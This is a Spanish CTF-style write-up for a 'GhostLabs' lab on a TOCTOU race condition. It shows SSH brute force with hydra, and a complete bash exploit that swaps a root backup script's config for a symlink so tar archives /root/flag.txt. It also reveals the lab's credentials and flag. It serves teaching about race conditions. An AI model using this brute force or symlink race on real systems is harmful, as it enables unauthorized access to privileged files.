# GhostLabs — TOCTOU Write-up

**Dificultad:** Media-alta (4 pts)
**Servicio:** SSH — puerto 2222
**Usuario:** princesa / qwerty
**Flag:** `GhostLabs{t0ctou_r4ce_w1nd0w}`

---

## ¿Qué es TOCTOU?

**TOCTOU** (Time Of Check To Time Of Use) es una clase de *race condition* donde un programa:

1. **Comprueba** una condición sobre un recurso (fichero, directorio, socket…)
2. **Actúa** basándose en el resultado de esa comprobación

El problema: entre la comprobación (1) y la acción (2) hay un **hueco temporal** donde otro proceso puede modificar el recurso. El programa actúa sobre una realidad que ya no existe.

Ejemplo clásico del mundo real:
- El instalador de macOS (CVE-2019-8561) comprobaba si un package era legítimo y luego lo instalaba. Entre ambos pasos, se podía reemplazar el package con uno malicioso.
- Múltiples vulnerabilidades en `sudo`, `systemd`, `screen`, y gestores de paquetes siguen este patrón.

En este lab el script de backup comprueba que el fichero de configuración sea un fichero regular, espera 5 segundos (simula I/O lento) y luego lo usa. En esa ventana reemplazamos el fichero por un enlace simbólico que apunta a una lista maliciosa con `/root/flag.txt`.

---

## Paso 1 — Reconocimiento

```bash
nmap -sV -p 2222 <LAB_IP>
```

Resultado esperado:
```
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian (protocol 2.0)
```

---

## Paso 2 — Enumeración del banner SSH

El servidor expone un banner pre-autenticación que revela el usuario del sistema:

```bash
ssh guest@<LAB_IP> -p 2222
```

```
GhostLabs Backup Service v2.3
Automatic backup daemon running

Contact: princesa (backup operator)

guest@<LAB_IP>'s password: [Ctrl+C]
```

Usuario descubierto: **princesa**.

---

## Paso 3 — Fuerza bruta SSH

```bash
hydra -l princesa -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
```

Resultado:
```
[2222][ssh] host: <LAB_IP>   login: princesa   password: qwerty
```

> ⚠️ Si ves "WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED":
> ```bash
> ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'
> ```

---

## Paso 4 — Acceso SSH

```bash
ssh princesa@<LAB_IP> -p 2222
```

El sistema muestra el MOTD:
```
GhostLabs Backup Service v2.3
Backup daemon: ACTIVE
```

---

## Paso 5 — Exploración inicial del sistema

```bash
ls -la
```
```
total 32
drwxr-xr-x 3 princesa princesa 4096 Apr  3 2026 .
drwxr-xr-x 3 root     root     4096 Apr  3 2026 ..
-rw-r--r-- 1 princesa princesa  215 Apr  3 2026 README.txt
drwxr-xr-x 2 princesa princesa 4096 Apr  3 2026 documentos
```

```bash
cat README.txt
```
```
Sistema de backup automatico activo.
El servicio realiza backups de ~/documentos/ cada ~25 segundos.
El archivo .backup_include controla que ficheros se incluyen.
Consulta /var/log/backup.log para ver el estado del servicio.
```

```bash
ls -la documentos/
```
```
total 20
drwxr-xr-x 2 princesa princesa 4096 Apr  3 2026 .
drwxr-xr-x 3 princesa princesa 4096 Apr  3 2026 ..
-rw-r--r-- 1 princesa princesa   49 Apr  3 2026 .backup_include
-rw-r--r-- 1 princesa princesa   40 Apr  3 2026 notas.txt
-rw-r--r-- 1 princesa princesa   55 Apr  3 2026 readme.txt
```

```bash
cat documentos/.backup_include
```
```
/home/princesa/documentos/notas.txt
/home/princesa/documentos/readme.txt
```

El archivo `.backup_include` es una **lista de rutas** de ficheros a incluir en el backup. Lo controla `princesa` — puede modificarlo, borrarlo o reemplazarlo.

---

## Paso 6 — Inspeccionar el backup existente

```bash
ls -la /backups/
```
```
total 12
drwxr-xr-x 2 root root 4096 Apr  3 2026 .
drwxr-xr-x 1 root root 4096 Apr  3 2026 ..
-rw-r--r-- 1 root root  312 Apr  3 2026 backup.tar.gz
```

```bash
tar -tzf /backups/backup.tar.gz
```
```
home/princesa/documentos/notas.txt
home/princesa/documentos/readme.txt
```

El backup actual solo contiene los documentos de princesa. La flag (`/root/flag.txt`) no está incluida.

---

## Paso 7 — Observar el servicio de backup en tiempo real

```bash
tail -f /var/log/backup.log
```

Observa el patrón de ciclos:
```
[10:42:00] --- Nuevo ciclo de backup ---
[10:42:00] [1/3] Config encontrado. Leyendo lista de archivos...
                    ↑ AQUÍ EMPIEZA LA VENTANA (5 segundos)
[10:42:05] [2/3] Creando archivo de backup...
[10:42:05] [2/3] Backup guardado: /backups/backup.tar.gz
[10:42:05] [3/3] Ciclo completo. Proximo backup en 25s
[10:42:30] --- Nuevo ciclo de backup ---
...
```

La ventana entre `[1/3]` y `[2/3]` dura **5 segundos** — es ahí donde debemos actuar.

---

## Paso 8 — Leer el script de backup

```bash
cat /usr/local/bin/backup_service.sh
```

La parte crítica:

```bash
# PASO 1 — TIME OF CHECK
# Condición: el config debe ser un fichero regular (no un symlink)
if [ -f "$CONFIG" ] && [ ! -L "$CONFIG" ]; then
    log "[1/3] Config encontrado. Leyendo lista de archivos..."

    sleep 5   # ← VENTANA DE VULNERABILIDAD

# PASO 2 — TIME OF USE
# Se usa el config tal como está AHORA (puede haber cambiado)
    tar --absolute-names -czf "$BACKUP" -T "$CONFIG" 2>/dev/null
fi
```

**La vulnerabilidad:**

| Momento | Qué ocurre |
|---------|-----------|
| `[ -f "$CONFIG" ] && [ ! -L "$CONFIG" ]` | Check: el script verifica que sea un fichero regular |
| `sleep 5` | Ventana — el script duerme sin volver a verificar |
| `tar ... -T "$CONFIG"` | Use: el script usa el config tal como está AHORA |

Si durante el `sleep 5` reemplazamos `.backup_include` (fichero regular) por un **enlace simbólico** que apunta a una lista con `/root/flag.txt`, el `tar` del paso 2 incluirá ese fichero en el backup.

¿Por qué funciona el symlink? Porque:
- `[ -f symlink ]` comprueba el DESTINO del symlink. Si el destino es un fichero regular, devuelve `true`.
- El check (`[ -f ] && [ ! -L ]`) pasa solo si el fichero NO es un symlink.
- Pero el Use (`tar -T "$CONFIG"`) sí sigue el symlink y lee el destino.

→ Comprobamos una cosa (fichero regular), cambiamos la realidad (symlink), y el Use lee la nueva realidad.

---

## Paso 9 — Preparar el ataque

Abrimos una **segunda terminal SSH** para preparar los ficheros:

```bash
ssh princesa@<LAB_IP> -p 2222
```

Creamos la lista maliciosa en `/tmp`:
```bash
echo "/root/flag.txt" > /tmp/evil_list.txt
cat /tmp/evil_list.txt
```
```
/root/flag.txt
```

Verificamos que `.backup_include` es actualmente un fichero regular (necesario para que el check pase):
```bash
ls -la documentos/.backup_include
```
```
-rw-r--r-- 1 princesa princesa 49 Apr  3 2026 documentos/.backup_include
```

Si en algún intento anterior quedó como symlink, lo restauramos:
```bash
rm -f documentos/.backup_include
echo "/home/princesa/documentos/notas.txt" > documentos/.backup_include
```

---

## Paso 10 — Crear el script de explotación

```bash
cat > /tmp/exploit_toctou.sh << 'EOF'
#!/bin/bash
# exploit_toctou.sh — TOCTOU Race Condition Exploit

CONFIG="/home/princesa/documentos/.backup_include"
BACKUP="/backups/backup.tar.gz"
LOGFILE="/var/log/backup.log"
EXTRACT="/tmp/toctou_extract"

echo "[*] Iniciando ataque TOCTOU..."

# Paso A: crear la lista maliciosa
echo "/root/flag.txt" > /tmp/evil_list.txt
echo "[*] Lista maliciosa: /tmp/evil_list.txt -> /root/flag.txt"

# Paso B: asegurarse de que el config es un fichero regular
# (el script solo entra al if si NO es symlink)
if [ -L "$CONFIG" ]; then
    rm -f "$CONFIG"
    echo "/home/princesa/documentos/notas.txt" > "$CONFIG"
    echo "[*] Config restaurado como fichero regular"
fi

echo "[*] Monitoreando $LOGFILE..."
echo "[*] Esperando ventana TOCTOU '[1/3] Config encontrado'..."
echo ""

# Paso C: monitorear el log y reaccionar durante la ventana
LAST_SEEN=""
while true; do
    LAST=$(tail -1 "$LOGFILE" 2>/dev/null)
    if [[ "$LAST" != "$LAST_SEEN" ]]; then
        LAST_SEEN="$LAST"
        echo "  LOG >> $LAST"
        if echo "$LAST" | grep -q "\[1/3\]"; then
            echo ""
            echo "[+] VENTANA DETECTADA — ejecutando race..."
            rm -f "$CONFIG"
            ln -s /tmp/evil_list.txt "$CONFIG"
            echo "[+] Symlink instalado: $CONFIG -> /tmp/evil_list.txt"
            echo "[*] Esperando que tar complete el backup..."
            break
        fi
    fi
    sleep 0.05
done

# Paso D: esperar a que tar termine (el sleep 5 del script + margen)
sleep 8

# Paso E: extraer y leer la flag
echo "[*] Extrayendo backup..."
rm -rf "$EXTRACT"
mkdir -p "$EXTRACT"
tar -xzf "$BACKUP" -C "$EXTRACT" 2>/dev/null

echo ""
if [ -f "$EXTRACT/root/flag.txt" ]; then
    echo "[+] ===== FLAG ENCONTRADA ====="
    cat "$EXTRACT/root/flag.txt"
    echo "[+] ============================="
else
    echo "[-] Flag no encontrada en este ciclo."
    echo "    Contenido del backup:"
    tar -tzf "$BACKUP" 2>/dev/null
    echo ""
    echo "[-] Posibles causas:"
    echo "    - La ventana se perdio (el swap llego tarde)"
    echo "    - Restaura el config y reintenta:"
    echo "      rm -f $CONFIG"
    echo "      echo '/home/princesa/documentos/notas.txt' > $CONFIG"
fi
EOF
chmod +x /tmp/exploit_toctou.sh
```

---

## Paso 11 — Ejecutar el ataque

Desde la primera terminal, monitorea el log:
```bash
tail -f /var/log/backup.log
```

Desde la segunda terminal, ejecuta el exploit:
```bash
bash /tmp/exploit_toctou.sh
```

Output esperado:
```
[*] Iniciando ataque TOCTOU...
[*] Lista maliciosa: /tmp/evil_list.txt -> /root/flag.txt
[*] Monitoreando /var/log/backup.log...
[*] Esperando ventana TOCTOU '[1/3] Config encontrado'...

  LOG >> [10:45:30] --- Nuevo ciclo de backup ---
  LOG >> [10:45:30] [1/3] Config encontrado. Leyendo lista de archivos...

[+] VENTANA DETECTADA — ejecutando race...
[+] Symlink instalado: /home/princesa/documentos/.backup_include -> /tmp/evil_list.txt
[*] Esperando que tar complete el backup...
[*] Extrayendo backup...

[+] ===== FLAG ENCONTRADA =====
GhostLabs{t0ctou_r4ce_w1nd0w}
[+] =============================
```

Si la race se pierde (el swap llegó tarde), el exploit lo indica y hay que restaurar el config para el siguiente ciclo:
```bash
rm -f documentos/.backup_include
echo "/home/princesa/documentos/notas.txt" > documentos/.backup_include
```

---

## Paso 12 — Verificación manual (sin script)

Si quieres entender el proceso paso a paso sin automatización:

**Terminal 1** — Monitorea el log:
```bash
tail -f /var/log/backup.log
```

**Terminal 2** — En cuanto veas `[1/3] Config encontrado`, ejecuta rápidamente:
```bash
rm -f /home/princesa/documentos/.backup_include && \
ln -s /tmp/evil_list.txt /home/princesa/documentos/.backup_include
```

Luego espera a ver `[2/3] Backup guardado` y extrae:
```bash
mkdir -p /tmp/manual_extract
tar -xzf /backups/backup.tar.gz -C /tmp/manual_extract
cat /tmp/manual_extract/root/flag.txt
```

---

## ¿Por qué el tar incluye /root/flag.txt?

El comando en el script de backup es:
```bash
tar --absolute-names -czf "$BACKUP" -T "$CONFIG"
```

- `-T "$CONFIG"` → lee la lista de ficheros desde `$CONFIG`
- En el momento de la ejecución, `$CONFIG` es un symlink → se sigue → lee `/tmp/evil_list.txt` → obtiene `/root/flag.txt`
- `--absolute-names` → preserva la ruta absoluta en el archivo tar
- `tar` corre como **root** → tiene permiso para leer `/root/flag.txt`

Al extraer sin `--absolute-names`, tar elimina el `/` inicial:
```bash
tar -tzf /backups/backup.tar.gz
# muestra: root/flag.txt   (sin la barra inicial)

tar -xzf /backups/backup.tar.gz -C /tmp/toctou_extract
# extrae en: /tmp/toctou_extract/root/flag.txt
```

---

## Herramientas utilizadas

| Herramienta | Uso |
|-------------|-----|
| `nmap` | Descubrir puerto SSH |
| `hydra` | Fuerza bruta de contraseña |
| `ssh` | Acceso al sistema |
| `tail -f` | Monitorizar el log del servicio de backup |
| `ln -s` | Crear enlace simbólico para el ataque |
| `tar -xzf` | Extraer el backup y leer la flag |
| `bash` | Ejecutar el script de explotación |
